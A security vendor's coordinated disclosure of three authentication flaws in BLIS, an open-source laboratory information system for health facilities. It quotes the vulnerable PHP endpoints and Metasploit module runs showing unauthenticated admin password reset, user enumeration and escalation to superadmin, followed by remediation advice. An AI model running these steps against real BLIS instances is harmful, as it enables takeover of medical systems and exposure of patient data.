This disclosure describes R7-2019-09, composed of three vulnerabilities in the Basic Laboratory Information System (BLIS). Due to flawed authentication and authorization verification, versions of BLIS < 3.5 are vulnerable to unauthenticated password resets (R7-2019-09.1), and versions of BLIS < 3.51 are vulnerable to unauthenticated enumeration of facilities and usernames (R7-2019-09.2) as well as unauthenticated updates to user information (R7-2019-09.3).

These vulnerabilities are summarized in the table below along with current status, followed by exploitation information as well as potential impact and remediation actions users should take.

Summary Rapid7 ID CVE ID CWE CVSSv3 Base Score Status
Unauthenticated password resets R7-2019-09.1 CVE-2019-5617 CWE-284: Improper Access Control 10.0 (CRITICAL) Fixed in v3.5, generally available on April 17, 2019
Unauthenticated enumeration of facilities and usernames R7-2019-09.2 CVE-2019-5643 CWE-284: Improper Access Control 7.5 (High) Fixed unauthenticated path in v3.5; non-admin path fixed in v3.51, generally available on Aug 24, 2019
Unauthenticated updates to user data, including admin privilege escalation R7-2019-09.3 CVE-2019-5644 CWE-284: Improper Access Control 10.0 (CRITICAL) Fixed in v3.51, generally available on Aug 24, 2019

BLIS Product Description

The Basic Laboratory Information System (BLIS) is an open-source product that enables hospitals, laboratories, and other healthcare infrastructure to track patients, specimens, and laboratory results. BLIS is a joint initiative of Computing for Good (C4G) at the Georgia Institute of Technology, the Centers for Disease Control and Prevention (CDC), and the health ministries of several countries in Africa. More information on this software can be found on the C4G BLIS website.

Credit

These vulnerabilities were first discovered privately and reported internally by C4G BLIS team member Aditi Shah in December 2018. Jacob Robles of Rapid7 rediscovered and reported these issues in March of 2019 per Rapid7's vulnerability disclosure policy.

Exploitation of R7-2019-09

The following sections describe the path followed by Rapid7 in finding these vulnerabilities. References are made to three Metasploit exploit modules. These were written during the research to verify application vulnerability, and will be added to the public Metasploit Framework repo shortly after this disclosure is published.

R7-2019-09.1: Unauthenticated Password Reset

After loading the login page of BLIS v3.4, a Tip message is shown mentioning the ability to request a new password: “If you have forgotten your password then please send an email to 'c4gbackup@gmail.com' with the subject 'Password'. New password will be sent to you.” This could indicate that there might be a hardcoded password or a generic password reset available. As it turns out, there are a few files associated with password resets in the BLIS source:

$ find . -regex '.*password.*'
./includes/password_reset_need.php
./ajax/oneTime_password_reset_confirm.php
./ajax/password_reset_confirm.php
./users/oneTime_password_reset.php
./users/passwordReset.php
./users/password_reset.php

Looking at the beginning of ‘users/oneTime_password_reset.php’ in specific:

  1 <?php
  2 include("../includes/password_reset_need.php");
  3 $password_reset_needed = password_reset_required();
  4 if($password_reset_needed){
...
 24 function ajax_reset_password()
 25 {
 26         //alert("test");
 27         
 28         var username = document.reset_pwd.username.value;
 29         var password = document.reset_pwd.password.value;
 30         var confirmPassword = document.reset_pwd.confirmPassword.value;
 31         
 32         if(password == '' || confirmPassword == '' || password != confirmPassword){
 33          alert("Password is empty or doesn't match");
 34         } else {
 35                 $('#progress_spinner').show();
 36                 var url = "ajax/oneTime_password_reset_confirm.php?username="+username+"&password="+password;

On line 3 a function is called to check if a password reset is required. If a reset is required then an AJAX request is included in the output. Line 36 defines a URL pointing to ajax/oneTime_password_reset_confirm.php along with provided username and password values.

Continuing to ajax/oneTime_password_reset_confirm.php, there doesn’t appear to be any verification of a session:

 1 <?php
  2 # Resets user password
  3 # Generates a random string as new password and emails it.
  4 include("../includes/db_lib.php");
  5 include("../includes/user_lib.php");
...
 15 
 16 $username = $_REQUEST['username'];
 17 $new_password = $_REQUEST['password'];
 18 $user_exists = check_user_exists($username);
 19 if($user_exists == false)
 20 {
 21         $msg = "User <b>$username</b> not found. Please check the username entered.";
 22 }
 23 else
 24 {
 25         $user_profile = get_user_by_name($username);
 26         if(is_admin($user_profile))
 27         {
 28                 $password_changed = change_user_password_oneTime($username, $new_password);
 29                 if($password_changed === false)
 30                 {
 31                         $msg = "Error while resetting password. Please try again.";
 32                 }
 33                 else
 34                 {
 35                                 $msg = "Password reset complete </u>";
 36                 }
 37         }
 38 
 39         else {
 40                 $msg = "You don't have enough previleges to reset your password. Contact your administrator </u>";
 41         }

The validity of the provided username is checked on line 18. Additionally, line 26 checks to see if the specified user is an administrator or not. If the user is both valid and an administrator then the password is changed.

The Metasploit module below was created to demonstrate this vulnerability:

msf5 auxiliary(admin/http/c4g_blis_admin_reset) > options

Module options (auxiliary/admin/http/c4g_blis_admin_reset):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   newpass          yes       New password for the account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.22.222.200   yes       The target address range or CIDR identifier
   RPORT      4001             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path
   USERNAME   testlab1_admin   yes       Administrator username
   VHOST                       no        HTTP server virtual host

msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit

[+] Password changed. testlab1_admin:newpass
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > set username testlab1_tech1
username => testlab1_tech1
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit

[+] User exists in the database but is not an administrator
[-] Cannot update non-admin account
[*] Auxiliary module execution completed

The first exploitation successfully changes the password of testlab1_admin, an administrator level user. The second run shows that passwords of non-administrator level accounts cannot be reset using this vulnerability.

R7-2019-09.2: Unauthenticated Facility and Username Enumeration

Investigation of ajax/userlog_fetch.php was also revealing:

 50 # Execution begins here
 51 
 52 $lab_config_id = $_REQUEST['l'];
 53 $lab_config = get_lab_config_by_id($lab_config_id);
 54 $user_id = $_REQUEST['u'];
 55 $user =  get_user_by_id($user_id);
 56 $date_from = $_REQUEST['yf']."-".$_REQUEST['mf']."-".$_REQUEST['df'];
 57 $date_to = $_REQUEST['yt']."-".$_REQUEST['mt']."-".$_REQUEST['dt'];
 58 ?>
 59 <br>
 60 <b><?php echo LangUtil::$pageTerms['RECENT_ACTIVITY']; ?></b><br>
 61 <?php echo LangUtil::$generalTerms['FACILITY']; ?>: <?php echo $lab_config->getSiteName(); ?> |
 62 <?php echo LangUtil::$generalTerms['USERNAME']; ?>: <?php echo $user->username; ?>

Line 53 defines the $lab_config variable based on the l argument from the request, and line 55 defines the $user variable based on the u argument from the request. On lines 61 and 62, the facility name and username are echoed back in the response. Sending requests to ajax/userlog_fetch.php and iterating l and u values makes it possible to enumerate facility and username values.

ajax/users_select.php also assists in the enumeration:

  1 <?php
  2 # Returns a JSON list of usernames for a site location via Ajax
  3 # Called from reports.php
  4 include("../includes/db_lib.php");
  5 
  6 function list_to_json($value_list, $json_params)
  7 {
  8         $count = 0;
  9         $return_string = "";
 10         $return_string .= "[";
 11         foreach($value_list as $key => $value)
 12         {
 13                 $return_string .= "{".$json_params[0].": ".$key.", ".$json_params[1].": '".$value."'}";
 14                 $count += 1;
 15                 if($count != count($value_list))
 16                         $return_string .= ", ";
 17         }
 18         $return_string .= "]";
 19         return $return_string;
 20 }
 21 
 22 $user_list = get_users_by_site_map($_REQUEST['site']);
 23 $json_params = array('optionValue', 'optionDisplay');
 24 echo list_to_json($user_list, $json_params);
 25 ?>

In line 22 the database is queried for users that are associated with the specified site argument (equivalent to a facility). After enumerating facility IDs, users can be identified by making requests to ajax/users_select.php. The Metasploit module below demonstrates this in action:

msf5 auxiliary(gather/c4g_blis_lab_user_brute) > options

Module options (auxiliary/gather/c4g_blis_lab_user_brute):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LAB_MAX    127              yes       Max lab id to use in requests
   LAB_MIN    0                yes       Min lab id to use in requests
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.22.222.200   yes       The target address range or CIDR identifier
   RPORT      4001             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path
   USER_MAX   550              yes       Max user id to use in requests
   USER_MIN   500              yes       Min user id to use in requests
   VHOST                       no        HTTP server virtual host

msf5 auxiliary(gather/c4g_blis_lab_user_brute) > exploit

[*] Enumerating Facilities:
[+] LabID: 8, Facility: ZXCV - bamenda
[+] LabID: 9, Facility: bambam - bar
[+] LabID: 10, Facility: bambam2 - bam
[+] LabID: 11, Facility: ras - rasd
[+] LabID: 126, Facility: Testlab2 - GT
[+]     UserID: 66, Username: testlab2_tech1
[+]     UserID: 67, Username: testlab2_tech2
[+]     UserID: 63, Username: testlab2_admin
[+] LabID: 127, Facility: Testlab1 - GT
[+]     UserID: 56, Username: testlab1_tech1
[+]     UserID: 57, Username: testlab1_tech2
[+]     UserID: 53, Username: testlab1_admin
[*] Enumerating Users:
[+] UserID: 501, Username: tanzania_dir
[+] UserID: 502, Username: drc_dir
[+] UserID: 503, Username: uganda_dir
[*] Auxiliary module execution completed

R7-2019-09.3: Unauthenticated User Updates

After finding that several of the files in the ajax directory could be reached while unauthenticated, the source files were audited. ajax/lab_user_update.php can be used to update user information in the backend database:

  1 <?php
  2 #
  3 # Main page for updating a lab user account
  4 # Called via Ajax from lab_user_edit.php
  5 #
  6 
  7 include("../includes/db_lib.php");
  8 include("../includes/user_lib.php");
  9 
 10 $saved_session = SessionUtil::save();
 11 
 12 $user_id = $_REQUEST['id'];
 13 $username = $_REQUEST['un'];
 14 $fullname = $_REQUEST['fn'];
 15 $email = $_REQUEST['em'];
 16 $phone = $_REQUEST['ph'];
 17 $new_pwd = $_REQUEST['p'];
 18 $level = $_REQUEST['lev'];
 19 $lang_id = $_REQUEST['lang'];
 20 $rwoptions = $_REQUEST['opt'];
 21 
 22 if($level == $LIS_TECH_RW)
 23 {
 24         if($_REQUEST['showpname'] == 1)
 25         {
 26                 $level = $LIS_TECH_SHOWPNAME;
 27         }
 28 }
 29 
 30 $user = new User();
 31 $user->userId = $user_id;
 32 $user->username = $username;
 33 $user->actualName = $fullname;
 34 $user->email = $email;
 35 $user->phone = $phone;
 36 $user->password = $new_pwd;
 37 $user->level = $level;
 38 $user->langId = $lang_id;
 39 $user->rwoption = $rwoptions;
 40 
 41 update_lab_user($user);
 42 
 43 SessionUtil::restore($saved_session);
 44 ?>

Here the username, password, and several other parameters can be set. One important value is the $level, which can be used to change the role/access level of the user account to super administrator, administrator, or various technician account types. These roles are defined in includes/user_lib.php:

  7 // List of known user roles (These could be fetched from DB and populated)
  8 $LIS_TECH_RW = 0;
  9 $LIS_TECH_RO = 1;
 10 $LIS_ADMIN = 2;
 11 $LIS_SUPERADMIN = 3;
 12 $LIS_COUNTRYDIR = 4;
 13 $LIS_CLERK = 5;
 14 $LIS_TECH_SHOWPNAME = 13;
 15 // New user levels for technicians
 16 // Regn, Results, Reports
 17 $LIS_001 = 6;
 18 $LIS_010 = 7;
 19 $LIS_011 = 8;
 20 $LIS_100 = 9;
 21 $LIS_101 = 10;
 22 $LIS_110 = 11;
 23 $LIS_111 = 12;
 24 
 25 $LIS_VERIFIER = 15;
 26 $READONLYMODE = 16;
 27 $LIS_PHYSICIAN = 17;

Setting $level to 2 or 3 will upgrade the user to ADMIN or SUPERADMIN privileges, respectively. This is demonstrated in the Metasploit module below:

msf5 auxiliary(admin/http/c4g_blis_admin_reset) > options

Module options (auxiliary/admin/http/c4g_blis_admin_reset):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   newpass          yes       New password for the account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.22.222.200   yes       The target address range or CIDR identifier
   RPORT      4001             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path
   USERNAME   testlab1_tech1   yes       Administrator username
   VHOST                       no        HTTP server virtual host

msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit

[+] User exists in the database but is not an administrator
[-] Cannot update non-admin account
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > use admin/http/c4g_blis_update_user
msf5 auxiliary(admin/http/c4g_blis_update_user) > options

Module options (auxiliary/admin/http/c4g_blis_update_user):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FULLNAME   test             yes       Account Full Name
   LEVEL      SUPERADMIN       yes       New Account Level (Accepted: TECH_RW, TECH_RO, ADMIN, SUPERADMIN, COUNTRYDIR)
   PASSWORD   mypass           yes       New password for the account
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.22.222.200   yes       The target address range or CIDR identifier
   RPORT      4001             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path
   USERID     56               yes       UserID for the account
   USERNAME   testlab1_tech1   yes       Username of the account
   VHOST                       no        HTTP server virtual host

msf5 auxiliary(admin/http/c4g_blis_update_user) > exploit

[*] Request sent successfully
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_update_user) > use auxiliary/admin/http/c4g_blis_admin_reset
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > exploit

[+] Password changed. testlab1_tech1:newpass
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/c4g_blis_admin_reset) > 

The module output above shows an attempt to reset the testlab1_tech1 user’s password using the password reset vulnerability (R7-2019-09.1). This fails the first time because testlab1_tech1 is not an administrator. However, once testlab1_tech1 is upgraded to a SUPERADMIN account using the user update vulnerability (R7-2019-09.3), the password reset vulnerability (R7-2019-09.1) is successful since testlab1_tech1 is then an administrator.

Aside from the password value, R7-2019-09.3 also allows an attacker to update many other user attributes including name, email address, phone number, access level/role, language, and permission to read and write other data.

Impact of R7-2019-09

These vulnerabilities enable attackers to perform several dangerous actions against instances of BLIS < v3.51:

  • R7-2019-09.1: reset password of administrative users without authentication
  • R7-2019-09.2: enumerate facility and user names in plaintext without authentication
  • R7-2019-09.3: Change user attributes, including access level/role, without authentication

These three manifestations of the underlying authentication issue being present together also provides a few different paths for attackers to reach the same end. Consider an example attack workflow:

  • Enumerate sites -> enumerate users per site
  • Per user:
    • if user is an administrator -> use R7-2019-09.1 or R7-2019-09.3 to change the user’s password
    • if user is not an administrator -> use R7-2019-09.3 to change their role to administrator.
  • Regardless of path, once the attacker has administrator access they can change info about any other user.

Several files in the ajax/ directory described above assume that the requests will come only from an authenticated session, but do not actually check for this in v3.4. Since the directory can be accessed directly, unauthenticated users can make requests to files in the directory as well. In general, aside from checking that provided parameter values are correct, session validity must be verified as well.

Note, C4G has confirmed that all known deployments of C4G BLIS are not connected directly to the internet as of the time of this disclosure, and thus, the risk to individual user data is fairly limited. However, C4G BLIS is preparing an internet-accessible hosted version for release later this year, and welcomes reports of potential vulnerabilities.

Remediation of R7-2019-09

C4G released version 3.51 of BLIS on Aug 24, 2019. This version is available here (both standalone package and updaters for older versions) and addresses all aspects of R7-2019-09 (CVE-2019-5617, CVE-2019-5643, CVE-2019-5644). BLIS system administrators are strongly advised to update BLIS instances to v3.51 as soon as possible.

Additionally, BLIS system administrators should isolate BLIS instances to the minimal network exposure required for user access. Consider using a VPN to limit access in concert with keeping BLIS instances on internal network segments available only through the VPN. BLIS instances should not be exposed to the open internet.

Finally, if administrators are using a fork of BLIS (BLIS Kenya, for example), they should verify that upstream changes from BLIS v3.51 have been merged in, and that any instances are updated accordingly.

Vendor Statement

C4G, Computing for Good, is a project-based initiative of Georgia Tech's college of Computing that started in 2008. It is offered through an annual course and continuing projects with direct partnerships, typically with nonprofits around the world. Existing deployments include several with the Centers for Disease Control, the Carter Center, and the United Way. The overall goal is to use computing ideas and artifacts to address societal problems including health, education, homelessness and inequality. C4G BLIS is a joint venture of C4G, CDC and several African ministries of health. It has been in continuous deployment, and available as free, open-source software since 2009. For more information, see http://blis.cc.gatech.edu.

Disclosure Timeline for R7-2019-09

  • Jan 2019: Issues discovered by C4G
  • Mar 2019: Issues found by Rapid7
  • Wed, Mar 20, 2019: Initial disclosure to C4G
  • Mon, Apr 15, 2019: Disclosure to CERT/CC, assigned VU#548925
  • Wed, Apr 17, 2019: Fix for CVE-2019-5617 released by C4G in BLIS v3.5
  • Fri, Apr 25, 2019: Disclosed to Georgia Tech
  • Sat, Aug 24, 2019: Fix for CVE-2019-5643 and CVE-2019-5644 released by C4G in BLIS v3.51
  • Tue, Sep 10, 2019: Public disclosure via publication of this blog post